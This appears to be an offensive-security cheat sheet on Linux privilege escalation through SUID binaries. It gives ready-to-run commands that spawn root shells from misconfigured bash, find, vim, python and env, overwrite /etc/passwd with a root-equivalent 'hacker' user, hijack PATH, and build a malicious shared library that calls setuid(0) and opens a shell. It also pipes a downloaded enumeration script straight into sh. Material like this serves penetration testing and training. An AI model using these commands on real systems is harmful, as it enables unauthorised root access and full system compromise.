pwneglyph logo
linux privilege-escalation suid gtfobins path-hijacking shared-library-hijacking linpeas

Identify and abuse SUID binaries for Linux privilege escalation.

SUID Binaries

A binary with the SUID bit set runs as its owner (often root) regardless of who executes it. Misconfigured or custom SUID binaries are a common privesc vector.

Finding SUID Binaries

# Find all SUID binaries on the system
find / -perm -u=s -type f 2>/dev/null

# Find and show owner
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null

# Quick one-liner with stat
find / -perm /4000 2>/dev/null | xargs ls -lah 2>/dev/null

GTFOBins — Common Exploitable SUID Binaries

Check https://gtfobins.github.io for an up-to-date list. Common ones:

bash / sh

# If /bin/bash has SUID set
/bin/bash -p
# -p preserves effective UID (root)

find

find . -exec /bin/sh -p \; -quit

vim / vi

vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'

nmap (older versions)

# nmap < 5.20 had --interactive
nmap --interactive
nmap> !sh

python / python3

python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

cp

# Overwrite /etc/passwd with a crafted one (add a root-equivalent user)
openssl passwd -1 -salt xyz hacked
# Copy the output into a new passwd entry: hacker:$1$xyz$...:0:0:root:/root:/bin/bash
cp /tmp/passwd_new /etc/passwd
su hacker

env

env /bin/sh -p

Custom / Unknown SUID Binaries

When you find a SUID binary that isn't in GTFOBins:

# Strings — look for system(), popen(), or calls to other binaries
strings /usr/local/bin/custom_suid

# If it calls another binary without full path, PATH hijack works
# e.g., if binary calls "service" internally:
export PATH=/tmp:$PATH
echo '/bin/sh -p' > /tmp/service
chmod +x /tmp/service
/usr/local/bin/custom_suid  # drops to root shell

Shared Library Hijacking (SUID + missing .so)

# Check for missing shared libraries
ldd /usr/local/bin/custom_suid

# If a .so is missing and its directory is writable:
cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>

void __attribute__((constructor)) init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
}
EOF
gcc -shared -fPIC -o /path/to/missing.so /tmp/evil.c
/usr/local/bin/custom_suid

Enumeration Tools

# LinPEAS — comprehensive automated enumeration
curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

# LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh

# pspy — watch processes without root
./pspy64

Verification / Checklist

After finding a candidate binary:

  1. Confirm SUID bit: ls -la /path/to/binary — look for rws in permissions.
  2. Check owner: should be root or another privileged user.
  3. Search GTFOBins first.
  4. If custom: run strings, ltrace, strace to understand behaviour.
  5. Check if LD_PRELOAD is respected (usually disabled for SUID, but worth checking).
# Quick permission check
stat /usr/bin/sudo
# Look for: Uid: (0/root), and mode includes setuid bit